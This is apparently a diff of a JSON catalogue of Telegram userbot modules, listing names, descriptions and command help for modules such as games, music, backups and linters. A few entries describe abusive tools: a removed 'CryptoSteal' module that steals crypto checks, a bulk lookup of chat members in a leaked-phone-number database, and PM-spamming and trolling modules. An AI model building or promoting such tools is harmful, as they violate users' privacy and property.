user.\n.pmlimit off : Disable automatic user blocking.\n.pmlimit on : Enable automatic user blocking.\n.pmlimit reset : Reset max number of PMs before automatically block not allowed user.\n.pmlimit [number] : Modify max number of PMs before automatically block not allowed user.\n " + }, + { + "pmnotifcmd": ".pmnotif : Disable/Enable the notifications from denied PMs.\n.pmnotif off : Disable the notifications from denied PMs.\n.pmnotif on : Enable the notifications from denied PMs.\n " + }, + { + "reportcmd": "Report the user to spam. Use only in PM.\n " + }, + { + "unblockcmd": "Unblock this user to PM." + } + ], + "new_commands": [ + { + "afkback": { + "ru_doc": null, + "en_doc": null, + "doc": "Remove the AFK status.\n " + } + }, + { + "afkgo": { + "ru_doc": null, + "en_doc": null, + "doc": ".afkgo : Enable AFK status.\n.afkgo [message] : Enable AFK status and add a reason.\n " + } + }, + { + "afknogroup": { + "ru_doc": null, + "en_doc": null, + "doc": ".afknogroup : Disable/Enable AFK status message for group chats.\n.afknogroup off : Enable AFK status message for group chats.\n.afknogroup on : Disable AFK status message for group chats.\n " + } + }, + { + "afknopm": { + "ru_doc": null, + "en_doc": null, + "doc": ".afknopm : Disable/Enable AFK status message for PMs.\n.afknopm off : Enable AFK status message for PMs.\n.afknopm on : Disable AFK status message for PMs.\n " + } + }, + { + "afknotif": { + "ru_doc": null, + "en_doc": null, + "doc": ".afknotif : Disable/Enable the notifications during AFK time.\n.afknotif off : Disable the notifications during AFK time.\n.afknotif on : Enable the notifications during AFK time.\n " + } + }, + { + "afkrate": { + "ru_doc": null, + "en_doc": null, + "doc": ".afkrate : Disable/Enable AFK rate limit.\n.afkrate off : Disable AFK rate limit.\n.afkrate on : Enable AFK rate limit. One AFK status message max will be sent per chat.\n " + } + }, + { + "allow": { + "ru_doc": null, + "en_doc": null, + "doc": "Allow this user to PM.\n " + } + }, + { + "block": { + "ru_doc": null, + "en_doc": null, + "doc": "Block this user to PM without being warned.\n " + } + }, + { + "deny": { + "ru_doc": null, + "en_doc": null, + "doc": "Deny this user to PM without being warned.\n " + } + }, + { + "pm": { + "ru_doc": null, + "en_doc": null, + "doc": ".pm : Disable/Enable automatic answer for denied PMs.\n.pm off : Disable automatic answer for denied PMs.\n.pm on : Enable automatic answer for denied PMs.\n " + } + }, + { + "pmlimit": { + "ru_doc": null, + "en_doc": null, + "doc": ".pmlimit : Get current max number of PMs before automatically block not allowed user.\n.pmlimit off : Disable automatic user blocking.\n.pmlimit on : Enable automatic user blocking.\n.pmlimit reset : Reset max number of PMs before automatically block not allowed user.\n.pmlimit [number] : Modify max number of PMs before automatically block not allowed user.\n " + } + }, + { + "pmnotif": { + "ru_doc": null, + "en_doc": null, + "doc": ".pmnotif : Disable/Enable the notifications from denied PMs.\n.pmnotif off : Disable the notifications from denied PMs.\n.pmnotif on : Enable the notifications from denied PMs.\n " + } + }, + { + "report": { + "ru_doc": null, + "en_doc": null, + "doc": "Report the user to spam. Use only in PM.\n " + } + }, + { + "unblock": { + "ru_doc": null, + "en_doc": null, + "doc": "Unblock this user to PM." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "AlpacaGang/ftg-modules/spf.py": { + "name": "SPFMod", + "description": "Этот модуль геи личку ваших друзей", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "spfcmd": "Чтобы использовать пишем так: .spf @ник_вашего_друга" + } + ], + "new_commands": [ + { + "spf": { + "ru_doc": null, + "en_doc": null, + "doc": "Чтобы использовать пишем так: .spf @ник_вашего_друга" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "AlpacaGang/ftg-modules/wait.py": { + "name": "WAITMod", + "description": "Этот модуль поможет вам удалить сообщение через n секунд/минут", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "wait5cmd": "Эта команда удаляет сообхение черезе 5 секунд" + }, + { + "waitcmd": "Эта команда удаляет сообхение через n секунд, \nписать нужно так: .wait <n>, если хотите секунды\nи так .wait <n>m, если хотите ждать в минутах\n(например .wait 5m)" + }, + { + "tagcmd": "Эта команда для троллинга друзей. \nЕй вы можете тегнуть друга, а сообщение само удалится!" + } + ], + "new_commands": [ + { + "wait5": { + "ru_doc": null, + "en_doc": null, + "doc": "Эта команда удаляет сообхение черезе 5 секунд" + } + }, + { + "wait": { + "ru_doc": null, + "en_doc": null, + "doc": "Эта команда удаляет сообхение через n секунд, \nписать нужно так: .wait <n>, если хотите секунды\nи так .wait <n>m, если хотите ждать в минутах\n(например .wait 5m)" + } + }, + { + "tag": { + "ru_doc": null, + "en_doc": null, + "doc": "Эта команда для троллинга друзей. \nЕй вы можете тегнуть друга, а сообщение само удалится!" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AlpacaGang/ftg-modules/quotes.py": { + "name": "QuotesMod", + "description": "Quote a message.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "quotecmd": "Quote a message.\nUsage: .quote [template] [file/force_file]\nOr: .quote np [template] [file/force_file]\nIf template is missing, possible templates are fetched.\nIf no args provided, default template will be used, quote sent as sticker" + } + ], + "new_commands": [ + { + "quote": { + "ru_doc": null, + "en_doc": null, + "doc": "Quote a message.\nUsage: .quote [template] [file/force_file]\nOr: .quote np [template] [file/force_file]\nIf template is missing, possible templates are fetched.\nIf no args provided, default template will be used, quote sent as sticker" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "AlpacaGang/ftg-modules/tralka.py": { + "name": "TralkaMod", + "description": "Generates pastes", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tralkacmd": ".tralka <word_count> <caps_rate (in %)> <recepient name>" + } + ], + "new_commands": [ + { + "tralka": { + "ru_doc": null, + "en_doc": null, + "doc": ".tralka <word_count> <caps_rate (in %)> <recepient name>" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "hikariatama/ftg/ratemod.py": { + "name": "RateModuleMod", + "description": "Rates module and suggests fixes", + "meta": { + "pic": "https://img.icons8.com/external-phatplus-lineal-color-phatplus/512/000000/external-rate-email-phatplus-lineal-color-phatplus.png", + "banner": "https://mods.hikariatama.ru/badges/ratemod.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "ratemodcmd": "<reply_to_file|file|link> - Rate code" + } + ], + "new_commands": [ + { + "ratemod": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply_to_file|file|link> - Rate code" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/terminal.py": { + "name": "TerminalMod", + "description": "Runs commands", + "meta": { + "pic": "https://static.dan.tatar/terminal_icon.png", + "banner": "https://mods.hikariatama.ru/badges/terminal.jpg", + "developer": "@bsolute" + }, + "commands": [ + { + "terminalcmd": "<command> - Execute bash command <команда> - Запустить команду в системе" + }, + { + "aptcmd": "Shorthand for '.terminal apt' Сокращение для '.terminal apt'" + }, + { + "terminatecmd": "[-f to force kill] - Use in reply to send SIGTERM to a process" + } + ], + "new_commands": [ + { + "terminal": { + "ru_doc": "<команда> - Запустить команду в системе", + "en_doc": null, + "doc": "<command> - Execute bash command" + } + }, + { + "apt": { + "ru_doc": "Сокращение для '.terminal apt'", + "en_doc": null, + "doc": "Shorthand for '.terminal apt'" + } + }, + { + "terminate": { + "ru_doc": null, + "en_doc": null, + "doc": "[-f to force kill] - Use in reply to send SIGTERM to a process" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/onload.py": { + "name": "OnloadExecutorMod", + "description": "Executes selected commands after every userbot restart", + "meta": { + "pic": "https://static.dan.tatar/onload_icon.png", + "banner": "https://mods.hikariatama.ru/badges/onload.jpg", + "developer": "@hikarimods" + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Fun" + ] + }, + "hikariatama/ftg/linter.py": { + "name": "PyLinterMod", + "description": "`Black` plugin wrapper for telegram", + "meta": { + "pic": "https://static.dan.tatar/linter_icon.png", + "banner": "https://mods.hikariatama.ru/badges/linter.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "lintcmd": "[code|reply] - Perform automatic lint to python code" + } + ], + "new_commands": [ + { + "lint": { + "ru_doc": null, + "en_doc": null, + "doc": "[code|reply] - Perform automatic lint to python code" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "hikariatama/ftg/scrolller.py": { + "name": "ScrolllerMod", + "description": "Sends pictures from scrolller.com via inline gallery", + "meta": { + "pic": "https://static.dan.tatar/scrolller_icon.png", + "banner": "https://mods.hikariatama.ru/badges/scrolller.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "gallerycmd": "<subreddit | default> - Send inline gallery with photos from subreddit" + }, + { + "gallerycatcmd": "<subreddit> - Set new default subreddit" + } + ], + "new_commands": [ + { + "gallery": { + "ru_doc": null, + "en_doc": null, + "doc": "<subreddit | default> - Send inline gallery with photos from subreddit" + } + }, + { + "gallerycat": { + "ru_doc": null, + "en_doc": null, + "doc": "<subreddit> - Set new default subreddit" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/anisearch.py": { + "name": "AniSearchMod", + "description": "Searches for anime exact moment by only frame screenshot", + "meta": { + "pic": "https://static.dan.tatar/anisearch_icon.png", + "banner": "https://mods.hikariatama.ru/badges/anisearch.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "anisearchcmd": "Search anime by frame" + } + ], + "new_commands": [ + { + "anisearch": { + "ru_doc": null, + "en_doc": null, + "doc": "Search anime by frame" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "hikariatama/ftg/nometa.py": { + "name": "NoMetaMod", + "description": "Warns people about Meta messages", + "meta": { + "pic": "https://static.dan.tatar/nometa_icon.png", + "banner": "https://mods.hikariatama.ru/badges/nometa.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "nometacmd": "Show message about NoMeta Показать сообщение с предупреждением о мете" + } + ], + "new_commands": [ + { + "nometa": { + "ru_doc": "Показать сообщение с предупреждением о мете", + "en_doc": null, + "doc": "Show message about NoMeta" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/wakatime.py": { + "name": "WakaTimeMod", + "description": "WakaTime widget for your @username_bio channels", + "meta": { + "pic": "https://static.dan.tatar/wakatime_icon.png", + "banner": "https://mods.hikariatama.ru/badges/wakatime.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "wakatogglecmd": "Toggle widgets' updates" + } + ], + "new_commands": [ + { + "wakatoggle": { + "ru_doc": null, + "en_doc": null, + "doc": "Toggle widgets' updates" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/tictactoe.py": { + "name": "TicTacToeMod", + "description": "Play your favorite game in Telegram", + "meta": { + "pic": "https://static.dan.tatar/tictactoe_icon.png", + "banner": "https://mods.hikariatama.ru/badges/tictactoe.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "tictactoecmd": "Start new tictactoe game" + }, + { + "tictacaicmd": "Play with 🐻 Bear (You have no chances to win)" + } + ], + "new_commands": [ + { + "tictactoe": { + "ru_doc": null, + "en_doc": null, + "doc": "Start new tictactoe game" + } + }, + { + "tictacai": { + "ru_doc": null, + "en_doc": null, + "doc": "Play with 🐻 Bear (You have no chances to win)" } } ], @@ -11476,25 +34480,287 @@ "Chat" ] }, - "hikariatama/ftg/carbon.py": { - "name": "CarbonMod", - "description": "Create beautiful code images", + "hikariatama/ftg/rpmod.py": { + "name": "RPMod", + "description": "RPMod by HikariMods", "meta": { - "pic": "https://img.icons8.com/stickers/500/000000/code.png", - "banner": "https://mods.hikariatama.ru/badges/carbon.jpg", + "pic": "https://img.icons8.com/color/480/000000/comedy.png", + "banner": "https://mods.hikariatama.ru/badges/rpmod.jpg", "developer": "@hikarimods" }, "commands": [ { - "carboncmd": "<code> - Create beautiful code image" + "rpcmd": "<command> <message> - Add RP Command. If message unspecified, remove command" + }, + { + "rptogglecmd": "Toggle RP Mode in current chat" + }, + { + "rplistcmd": "List RP Commands" + }, + { + "rpbackupcmd": "Backup RP Commands to file" + }, + { + "rprestorecmd": "Restore RP Commands from file" + }, + { + "rpchatscmd": "List chats, where RPM is active" } ], "new_commands": [ { - "carbon": { + "rp": { "ru_doc": null, "en_doc": null, - "doc": "<code> - Create beautiful code image" + "doc": "<command> <message> - Add RP Command. If message unspecified, remove command" + } + }, + { + "rptoggle": { + "ru_doc": null, + "en_doc": null, + "doc": "Toggle RP Mode in current chat" + } + }, + { + "rplist": { + "ru_doc": null, + "en_doc": null, + "doc": "List RP Commands" + } + }, + { + "rpbackup": { + "ru_doc": null, + "en_doc": null, + "doc": "Backup RP Commands to file" + } + }, + { + "rprestore": { + "ru_doc": null, + "en_doc": null, + "doc": "Restore RP Commands from file" + } + }, + { + "rpchats": { + "ru_doc": null, + "en_doc": null, + "doc": "List chats, where RPM is active" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/bulkcheck.py": { + "name": "BulkCheckMod", + "description": "Check all members of chat for leaked numbers", + "meta": { + "pic": "https://static.dan.tatar/bulkcheck_icon.png", + "banner": "https://mods.hikariatama.ru/badges/bulkcheck.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "bcheckcmd": "Bulk check using Murix database" + } + ], + "new_commands": [ + { + "bcheck": { + "ru_doc": null, + "en_doc": null, + "doc": "Bulk check using Murix database" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/keyword.py": { + "name": "KeywordMod", + "description": "Allows you to create custom filters with regexes, commands and unlimited funcionality", + "meta": { + "pic": "https://img.icons8.com/fluency/48/000000/macbook-chat.png", + "banner": "https://mods.hikariatama.ru/badges/keyword.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "kwordcmd": "<keyword | could be in quotes | & for multiple words that should be in msg> <message | empty to remove keyword> [-r for full match] [-m for autoreading msg] [-l to log in pm] [-e for regular expressions]" + }, + { + "kwordscmd": "List current kwords" + }, + { + "kwblcmd": "Blacklist chat from answering keywords" + }, + { + "kwbllistcmd": "List blacklisted chats" + } + ], + "new_commands": [ + { + "kword": { + "ru_doc": null, + "en_doc": null, + "doc": "<keyword | could be in quotes | & for multiple words that should be in msg> <message | empty to remove keyword> [-r for full match] [-m for autoreading msg] [-l to log in pm] [-e for regular expressions]" + } + }, + { + "kwords": { + "ru_doc": null, + "en_doc": null, + "doc": "List current kwords" + } + }, + { + "kwbl": { + "ru_doc": null, + "en_doc": null, + "doc": "Blacklist chat from answering keywords" + } + }, + { + "kwbllist": { + "ru_doc": null, + "en_doc": null, + "doc": "List blacklisted chats" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/git_pusher.py": { + "name": "GitPusherMod", + "description": "Easily push your repo from within the Telegram", + "meta": { + "pic": "https://static.dan.tatar/git_pusher.png", + "banner": "https://mods.hikariatama.ru/badges/git_pusher.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "setghdircmd": "<path> - Set directory as upstream" + }, + { + "pushcmd": "[commit message] - Push current upstream directory" + } + ], + "new_commands": [ + { + "setghdir": { + "ru_doc": null, + "en_doc": null, + "doc": "<path> - Set directory as upstream" + } + }, + { + "push": { + "ru_doc": null, + "en_doc": null, + "doc": "[commit message] - Push current upstream directory" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/img2pdf.py": { + "name": "Img2PdfMod", + "description": "Packs images to pdf", + "meta": { + "pic": "https://img.icons8.com/stickers/500/000000/pdf.png", + "banner": "https://mods.hikariatama.ru/badges/img2pdf.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "img2pdfcmd": "<filename | optional> - Pack images into pdf" + } + ], + "new_commands": [ + { + "img2pdf": { + "ru_doc": null, + "en_doc": null, + "doc": "<filename | optional> - Pack images into pdf" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/bfg.py": { + "name": "BFG2Mod", + "description": "Tasks automation for @bforgame_bot", + "meta": { + "pic": "https://static.dan.tatar/bfg_icon.png", + "banner": "https://mods.hikariatama.ru/badges/bfg.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "farmlvlcmd": "[levels] - Level-up farm for specfied amount of levels [уровни] - покупка уровней для фермы" + }, + { + "businesslvlcmd": "[levels] - Level-up business for specfied amount of levels (territory + business itself) [уровни] - покупка уровней для бизнеса (территория + сам бизнес)" + } + ], + "new_commands": [ + { + "farmlvl": { + "ru_doc": "[уровни] - покупка уровней для фермы", + "en_doc": null, + "doc": "[levels] - Level-up farm for specfied amount of levels" + } + }, + { + "businesslvl": { + "ru_doc": "[уровни] - покупка уровней для бизнеса (территория + сам бизнес)", + "en_doc": null, + "doc": "[levels] - Level-up business for specfied amount of levels (territory + business itself)" + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "hikariatama/ftg/cloud.py": { + "name": "ModuleCloudMod", + "description": "Hikari modules management", + "meta": { + "pic": "https://static.dan.tatar/cloud_icon.png", + "banner": "https://mods.hikariatama.ru/badges/cloud.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "ilinkcmd": "<modname> - Get hikari module banner" + } + ], + "new_commands": [ + { + "ilink": { + "ru_doc": null, + "en_doc": null, + "doc": "<modname> - Get hikari module banner" } } ], @@ -11503,105 +34769,52 @@ "Fun" ] }, - "hikariatama/ftg/cryptosteal.py": { - "name": "CryptoSteal", - "description": "Steals checks for crypto", + "hikariatama/ftg/catboy.py": { + "name": "CatboyMod", + "description": "Sends cute anime boy pictures", "meta": { - "pic": "https://ton.org/download/ton_symbol.png", - "banner": "https://mods.hikariatama.ru/badges/cryptosteal.jpg", + "pic": "https://static.dan.tatar/catboy_icon.png", + "banner": "https://mods.hikariatama.ru/badges/catboy.jpg", "developer": "@hikarimods" }, - "commands": [], - "new_commands": [], + "commands": [ + { + "catboycmd": "Send catboy picture Показать кошкомальчика" + } + ], + "new_commands": [ + { + "catboy": { + "ru_doc": "Показать кошкомальчика", + "en_doc": null, + "doc": "Send catboy picture" + } + } + ], "category": [ "Fun", "Tools" ] }, - "hikariatama/ftg/forbid_joins.py": { - "name": "ForbidJoinMod", - "description": "Tired of trojans in modules, which join channels? Load this module!", + "hikariatama/ftg/inline_ghoul.py": { + "name": "InlineGhoulMod", + "description": "Non-spammy ghoul module", "meta": { - "pic": "https://static.dan.tatar/forbid_joins_icon.png", - "banner": "https://mods.hikariatama.ru/badges/forbid_joins.jpg", - "developer": "@hikarimods" - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/neko.py": { - "name": "NekosLifeMod", - "description": "NekosLife API Wrapper", - "meta": { - "pic": "https://static.dan.tatar/neko_icon.png", - "banner": "https://mods.hikariatama.ru/badges/neko.jpg", + "pic": "https://img.icons8.com/color/480/000000/dota.png", + "banner": "https://mods.hikariatama.ru/badges/inline_ghoul.jpg", "developer": "@hikarimods" }, "commands": [ { - "nkcmd": "Send anime pic" - }, - { - "nkctcmd": "Show available categories" - }, - { - "owoifycmd": "OwOify text" - }, - { - "whycmd": "Why?" - }, - { - "factcmd": "Did you know?" - }, - { - "meowcmd": "Sends cat ascii art" + "ghoulcmd": "Sends ghoul message" } ], "new_commands": [ { - "nk": { + "ghoul": { "ru_doc": null, "en_doc": null, - "doc": "Send anime pic" - } - }, - { - "nkct": { - "ru_doc": null, - "en_doc": null, - "doc": "Show available categories" - } - }, - { - "owoify": { - "ru_doc": null, - "en_doc": null, - "doc": "OwOify text" - } - }, - { - "why": { - "ru_doc": null, - "en_doc": null, - "doc": "Why?" - } - }, - { - "fact": { - "ru_doc": null, - "en_doc": null, - "doc": "Did you know?" - } - }, - { - "meow": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends cat ascii art" + "doc": "Sends ghoul message" } } ], @@ -11610,25 +34823,149 @@ "Chat" ] }, - "hikariatama/ftg/aniquotes.py": { - "name": "AnimatedQuotesMod", - "description": "Simple module to create animated stickers via bot", + "hikariatama/ftg/anything.py": { + "name": "Anything", + "description": "Draws ANYTHING using artificial intelligence. No API key required. 18+ only.", "meta": { - "pic": "https://static.dan.tatar/aniquotes_icon.png", - "banner": "https://mods.hikariatama.ru/badges/aniquotes.jpg", + "pic": "https://img.icons8.com/fluency/512/artificial-intelligence.png", + "banner": "https://mods.hikariatama.ru/badges/anything.jpg", "developer": "@hikarimods" }, "commands": [ { - "aniqcmd": "<text> - Create animated quote" + "draw": "<prompt> [-n <int>] [-comp] [-neg <str>]" } ], "new_commands": [ { - "aniq": { + "draw": { "ru_doc": null, "en_doc": null, - "doc": "<text> - Create animated quote" + "doc": "<prompt> [-n <int>] [-comp] [-neg <str>]" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "hikariatama/ftg/banstickers.py": { + "name": "BanStickers", + "description": "Bans stickerpacks, stickers and gifs in chat", + "meta": { + "pic": "https://img.icons8.com/fluency/344/cancel-2.png", + "banner": "https://mods.hikariatama.ru/badges/banstickers.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "banstick": "<reply to sticker> - Ban sticker in current chat <ответ на стикер> - Запретить стикер в текущем чате" + }, + { + "banpack": "<reply to sticker> - Ban the whole stickerpack in current chat <ответ на стикер> - Запретить весь стикерпак в текущем чате" + }, + { + "unbanstick": "<reply to sticker> - Unban sticker in current chat <ответ на стикер> - Разбанить стикер в текущем чате" + }, + { + "unbanpack": "<reply to sticker> - Unban the whole stickerpack in current chat <ответ на стикер> - Разбанить весь стикерпак в текущем чате" + }, + { + "unbanall": "Remove all restrictions in current chat Убрать все ограничения в текущем чате" + }, + { + "bananim": "Restrict animated stickers in current chat Запретить анимированные и видео стикеры в этом чате" + }, + { + "unbananim": "Unrestrict animated stickers in current chat Разблокировать анимированные и видео стикеры в этом чате" + } + ], + "new_commands": [ + { + "banstick": { + "ru_doc": "<ответ на стикер> - Запретить стикер в текущем чате", + "en_doc": null, + "doc": "<reply to sticker> - Ban sticker in current chat" + } + }, + { + "banpack": { + "ru_doc": "<ответ на стикер> - Запретить весь стикерпак в текущем чате", + "en_doc": null, + "doc": "<reply to sticker> - Ban the whole stickerpack in current chat" + } + }, + { + "unbanstick": { + "ru_doc": "<ответ на стикер> - Разбанить стикер в текущем чате", + "en_doc": null, + "doc": "<reply to sticker> - Unban sticker in current chat" + } + }, + { + "unbanpack": { + "ru_doc": "<ответ на стикер> - Разбанить весь стикерпак в текущем чате", + "en_doc": null, + "doc": "<reply to sticker> - Unban the whole stickerpack in current chat" + } + }, + { + "unbanall": { + "ru_doc": "Убрать все ограничения в текущем чате", + "en_doc": null, + "doc": "Remove all restrictions in current chat" + } + }, + { + "bananim": { + "ru_doc": "Запретить анимированные и видео стикеры в этом чате", + "en_doc": null, + "doc": "Restrict animated stickers in current chat" + } + }, + { + "unbananim": { + "ru_doc": "Разблокировать анимированные и видео стикеры в этом чате", + "en_doc": null, + "doc": "Unrestrict animated stickers in current chat" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/trashguy.py": { + "name": "TrashGuyMod", + "description": "Animation of trashguy taking out the trash", + "meta": { + "pic": "https://static.dan.tatar/trashguy_icon.png", + "banner": "https://mods.hikariatama.ru/badges/trashguy.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "tguyicmd": "<text> - TrashGuy Inline" + }, + { + "tguycmd": "<text> - TrashGuy" + } + ], + "new_commands": [ + { + "tguyi": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - TrashGuy Inline" + } + }, + { + "tguy": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - TrashGuy" } } ], @@ -11637,6 +34974,435 @@ "Chat" ] }, + "hikariatama/ftg/spotify.py": { + "name": "SpotifyMod", + "description": "Display beautiful spotify now bar. Idea: t.me/fuccsoc. Implementation: t.me/hikariatama", + "meta": { + "pic": "https://static.dan.tatar/spotify_icon.png", + "banner": "https://mods.hikariatama.ru/badges/spotify.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "srepeatcmd": "💫 Repeat" + }, + { + "sderepeatcmd": "✋ Stop repeat" + }, + { + "snextcmd": "👉 Skip" + }, + { + "spausecmd": "🤚 Pause" + }, + { + "splaycmd": "▶️ Play" + }, + { + "sfindcmd": "Find info about track" + }, + { + "sqcmd": "🔎" + }, + { + "sbackcmd": "⏮" + }, + { + "sbegincmd": "⏪" + }, + { + "slikecmd": "❤️" + }, + { + "sauthcmd": "First stage of auth" + }, + { + "scodecmd": "Second stage of auth" + }, + { + "unauthcmd": "Deauth from Spotify API" + }, + { + "sbiocmd": "Toggle bio playback streaming" + }, + { + "stokrefreshcmd": "Force refresh token" + }, + { + "snowcmd": "Show current playback badge" + } + ], + "new_commands": [ + { + "srepeat": { + "ru_doc": null, + "en_doc": null, + "doc": "💫 Repeat" + } + }, + { + "sderepeat": { + "ru_doc": null, + "en_doc": null, + "doc": "✋ Stop repeat" + } + }, + { + "snext": { + "ru_doc": null, + "en_doc": null, + "doc": "👉 Skip" + } + }, + { + "spause": { + "ru_doc": null, + "en_doc": null, + "doc": "🤚 Pause" + } + }, + { + "splay": { + "ru_doc": null, + "en_doc": null, + "doc": "▶️ Play" + } + }, + { + "sfind": { + "ru_doc": null, + "en_doc": null, + "doc": "Find info about track" + } + }, + { + "sq": { + "ru_doc": null, + "en_doc": null, + "doc": "🔎" + } + }, + { + "sback": { + "ru_doc": null, + "en_doc": null, + "doc": "⏮" + } + }, + { + "sbegin": { + "ru_doc": null, + "en_doc": null, + "doc": "⏪" + } + }, + { + "slike": { + "ru_doc": null, + "en_doc": null, + "doc": "❤️" + } + }, + { + "sauth": { + "ru_doc": null, + "en_doc": null, + "doc": "First stage of auth" + } + }, + { + "scode": { + "ru_doc": null, + "en_doc": null, + "doc": "Second stage of auth" + } + }, + { + "unauth": { + "ru_doc": null, + "en_doc": null, + "doc": "Deauth from Spotify API" + } + }, + { + "sbio": { + "ru_doc": null, + "en_doc": null, + "doc": "Toggle bio playback streaming" + } + }, + { + "stokrefresh": { + "ru_doc": null, + "en_doc": null, + "doc": "Force refresh token" + } + }, + { + "snow": { + "ru_doc": null, + "en_doc": null, + "doc": "Show current playback badge" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/tidal.py": { + "name": "TidalMod", + "description": "API wrapper over TIDAL Hi-Fi music streaming service", + "meta": { + "pic": "https://static.dan.tatar/tidal_icon.png", + "banner": "https://mods.hikariatama.ru/badges/tidal.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "tlogincmd": "Open OAuth window to login into TIDAL Авторизация в TIDAL" + }, + { + "tidalcmd": "<query> - Search TIDAL <запрос> - Поиск трека в TIDAL" + } + ], + "new_commands": [ + { + "tlogin": { + "ru_doc": "Авторизация в TIDAL", + "en_doc": null, + "doc": "Open OAuth window to login into TIDAL" + } + }, + { + "tidal": { + "ru_doc": "<запрос> - Поиск трека в TIDAL", + "en_doc": null, + "doc": "<query> - Search TIDAL" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/moonlove.py": { + "name": "MoonLoveMod", + "description": "Animation with moon and hearts for your beloved", + "meta": { + "pic": "https://static.dan.tatar/moonlove_icon.png", + "banner": "https://mods.hikariatama.ru/badges/moonlove.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "moonlovecmd": "[text] - Love you to the moon" + }, + { + "moonloveicmd": "[text] - Love you to the moon [Inline]" + } + ], + "new_commands": [ + { + "moonlove": { + "ru_doc": null, + "en_doc": null, + "doc": "[text] - Love you to the moon" + } + }, + { + "moonlovei": { + "ru_doc": null, + "en_doc": null, + "doc": "[text] - Love you to the moon [Inline]" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/systemd.py": { + "name": "SystemdMod", + "description": "Control systemd units easily", + "meta": { + "pic": "https://img.icons8.com/plasticine/344/apple-settings--v2.png", + "banner": "https://mods.hikariatama.ru/badges/systemd.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "unitscmd": "Open control panel" + }, + { + "addunitcmd": "<unit> <name> - Add new unit" + }, + { + "delunitcmd": "<unit> - Delete unit" + }, + { + "unitcmd": "<unit> <start|stop|restart|logs|tail> - Perform specific action on unit bypassing main menu" + }, + { + "nameunitcmd": "<unit> <new_name> - Rename unit" + } + ], + "new_commands": [ + { + "units": { + "ru_doc": null, + "en_doc": null, + "doc": "Open control panel" + } + }, + { + "addunit": { + "ru_doc": null, + "en_doc": null, + "doc": "<unit> <name> - Add new unit" + } + }, + { + "delunit": { + "ru_doc": null, + "en_doc": null, + "doc": "<unit> - Delete unit" + } + }, + { + "unit": { + "ru_doc": null, + "en_doc": null, + "doc": "<unit> <start|stop|restart|logs|tail> - Perform specific action on unit bypassing main menu" + } + }, + { + "nameunit": { + "ru_doc": null, + "en_doc": null, + "doc": "<unit> <new_name> - Rename unit" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/backuper.py": { + "name": "BackuperMod", + "description": "Create the backup of all modules or the whole database", + "meta": { + "pic": "https://static.dan.tatar/backuper_icon.png", + "banner": "https://mods.hikariatama.ru/badges/backuper.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "backupdbcmd": "Create database backup [will be sent in pm]" + }, + { + "restoredbcmd": "Restore database from file" + }, + { + "backupmodscmd": "Create backup of mods" + }, + { + "restoremodscmd": "<reply to file> - Restore mods from backup" + } + ], + "new_commands": [ + { + "backupdb": { + "ru_doc": null, + "en_doc": null, + "doc": "Create database backup [will be sent in pm]" + } + }, + { + "restoredb": { + "ru_doc": null, + "en_doc": null, + "doc": "Restore database from file" + } + }, + { + "backupmods": { + "ru_doc": null, + "en_doc": null, + "doc": "Create backup of mods" + } + }, + { + "restoremods": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply to file> - 